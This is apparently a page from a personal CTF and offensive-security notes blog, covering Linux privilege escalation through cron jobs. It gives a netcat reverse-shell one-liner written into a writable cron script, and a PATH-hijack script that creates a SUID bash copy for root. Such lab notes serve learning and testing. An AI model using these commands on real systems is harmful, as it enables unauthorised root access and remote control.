boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Crontab

Overwriting a Cron Script via File Permissions

Taking advantage of file permissions on a script a cron job runs:

cat /etc/crontab

Locate overwrite.sh. Start a netcat listener with nc -lvnp 1337, then overwrite the script with a reverse shell:

echo "mkfifo /tmp/qgtlkn; nc 10.13.28.215 1337 0</tmp/qgtlkn | /bin/sh >/tmp/qgtlkn 2>&1; rm /tmp/qgtlkn" > overwrite.sh

ROOT

Same Idea via the PATH Environment Variable

cat /etc/crontab

The PATH variable starts with /home/usr, which is our home directory.

Create an overwrite.sh file there with some special code:

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

Make the file executable: chmod +x /home/user/overwrite.sh.

Wait a little over a minute, then run /tmp/rootbash -p.

ROOT